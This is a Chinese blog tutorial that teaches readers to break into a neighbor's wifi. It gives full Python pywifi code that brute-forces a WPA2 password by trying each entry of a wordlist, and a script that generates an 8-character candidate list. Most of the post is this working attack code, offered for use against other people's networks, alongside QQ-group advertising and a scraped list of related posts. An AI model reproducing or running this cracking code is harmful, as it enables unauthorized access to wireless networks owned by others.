震惊!手把手教你用Python破解邻家小妹wifi密码
今天给大家分享一个,使用Python破解wifi密码的代码
这个代码也是非常简单,用Python中的pywifi库
所以需要在DOS命令下安装这个库
同样使用pip install pywifi
需要注意一点,就是电脑必须是要用无线网卡
1.获取无线网卡
首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。
wifi=pywifi.PyWiFi()#获取无线网卡ifaces=wifi.interfaces()[0]print(ifaces)
下面就是效果,但是它返回的是一个对象
使用这行代码就可以获取电脑无线网卡的名称:
print(ifaces.name())
这个就是我的无线网卡
2.创建连接
要判断是否连接WiFi,我们需要导入一个常量库:
from pywifi import const
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:
profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wasprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP
删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.
#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return False
很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:810735403
3.读取密码本进行破解
接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用下面代码生成,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。
#密码本路径path="./password.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()
接下来就是完整的代码
破解wifi主体
# coding:utf-8
import pywifi
from pywifi import const
import time#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="aaa你猜"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="./password.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continuereadPassword()
随机生成密码
import itertools as its# 迭代器
number = "1234567890"
words = "abcdefghijklmnopqrstuvwyz"
te_su = ".!@#$%&*"# 生成密码本的位数,八位数,repeat=8
r = its.product(number+words+te_su, repeat=8)# 保存在文件中,追加
dic = open("./password.txt", "a")# i是元组
for i in r:# jion空格链接dic.write("".join(i))dic.write("".join("\n"))print(i)
dic.close()
print("密码本已生成")
具体教程
在这里还是要推荐下我自己建的Python开发交流学习(qq)群:810735403,群里都是学Python开发的,如果你正在学习Python ,欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2021最新的Python进阶资料和高级开发教程,欢迎进阶中和想深入Python的小伙伴!
震惊!手把手教你用Python破解邻家小妹wifi密码相关推荐
- 手把手教你用Python破解邻家小妹wifi密码
今天给大家分享一个 使用Python 破解wifi密码的代码 这个代码也是非常简单 用Python中的pywifi库 所以需要在DOS命令下安装这个库 同样使用pip install pywifi 很 ...
- 怎么用python自制计算公式_手把手教你用python制作简易计算器,能够记录你使用的情况...
话不多说,首先先看效果图,它能够记录你在使用过程中的历史,方便你查看是否有错: 接下来就仔细分析一下是如何制作的: 简易计算器 第一步:导入资源库 在过程中使用到了tkinter这个资源库,win+R ...
- python 靶心_手把手教你使用Python实战反欺诈模型|原理+代码
原标题:手把手教你使用Python实战反欺诈模型|原理+代码 作者 | 萝卜 来源 | 早起Python(ID: zaoqi-python) 本文将基于不平衡数据,使用Python进行 反欺诈模型数据 ...
- 手把手教你用Python构建自己的「王二狗」
题图 | 智能二狗聊天机器人 导读 在人手N部智能手机的时代,我们对聊天机器人早已不陌生.这两年很火的游戏群聊天机器人「王二狗」更是用它的机智幽默征服了很多人. 今天,我们将手把手教你用Python从 ...
- python global用法_14_手把手教你学Python之函数(下)
变量作用域:根据变量定义的位置,可将变量分为全局变量和局部变量. 全局变量:定义在函数外面的变量,可以在多个函数中进行访问,但不能执行赋值操作.如果有赋值语句,相当于创建了一个同名的局部变量: 局部变 ...
- python编程例子 输入 输出-推荐 :手把手教你用Python创建简单的神经网络(附代码)...
原标题:推荐 :手把手教你用Python创建简单的神经网络(附代码) 作者:Michael J.Garbade:翻译:陈之炎:校对:丁楠雅 本文共2000字,9分钟. 本文将为你演示如何创建一个神经网 ...
- python界面设计-手把手教你用Python设计一个简单的命令行界面
原标题:手把手教你用Python设计一个简单的命令行界面 对 Python 程序来说,完备的命令行界面可以提升团队的工作效率,减少调用时可能碰到的困扰.今天,我们就来教大家如何设计功能完整的 Pyth ...
- python代码示例图形-纯干货:手把手教你用Python做数据可视化(附代码)
原标题:纯干货:手把手教你用Python做数据可视化(附代码) 导读:制作提供信息的可视化(有时称为绘图)是数据分析中的最重要任务之一.可视化可能是探索过程的一部分,例如,帮助识别异常值或所需的数据转 ...
- python正确的输入语句_手把手教你在python中如何使用while True语句
在学习过程中,经常能遇到采用while True的用法.下面以一个例子进行说明: 建立一个用户登录系统,用户输入用户名和密码,如果正确就可以进入系统. 1.我自己最开始的写法:d = {} #数据库字 ...
最新文章
- Android Studio编译好的apk放在哪里?
- 死磕 java集合之ArrayDeque源码分析
- ABAP:FTP Using SAP Functions
- 如何搭建Docker私有仓库
- angular 权限 php,PHP,Angular,HTACCESS-仅允许来自源域的请求
- python中除法 / 和// 区别 以及np.divide,np.true_divide,np.floor_divide方法区别
- 【Python】【Python语言】Python3.7.2的关键字模块(keyword module)
- 测试开发之缺陷报告上篇
- mysql密码正确却提示错误,不使用密码反而能登录
- iOS Coding项目片段记录(五)
- base64编码_动画演示 Base 64 编码
- [笔记]远传中继的实现
- Aerial为苹果而生,一款炫酷的Mac屏幕保护程序
- 读后:水浒的水有多深
- 什么是鸭子类型(duck typing)
- 第二类斯特林数 - Push Botton Lock(POJ 3088)
- 7-7 阿泽的交友标准 (10 分)
- 赠书!《R语言数据分析与可视化从入门到精通》
- mysql插入中文报错处理办法
- 端口转发lcx工具+nc反弹工具使用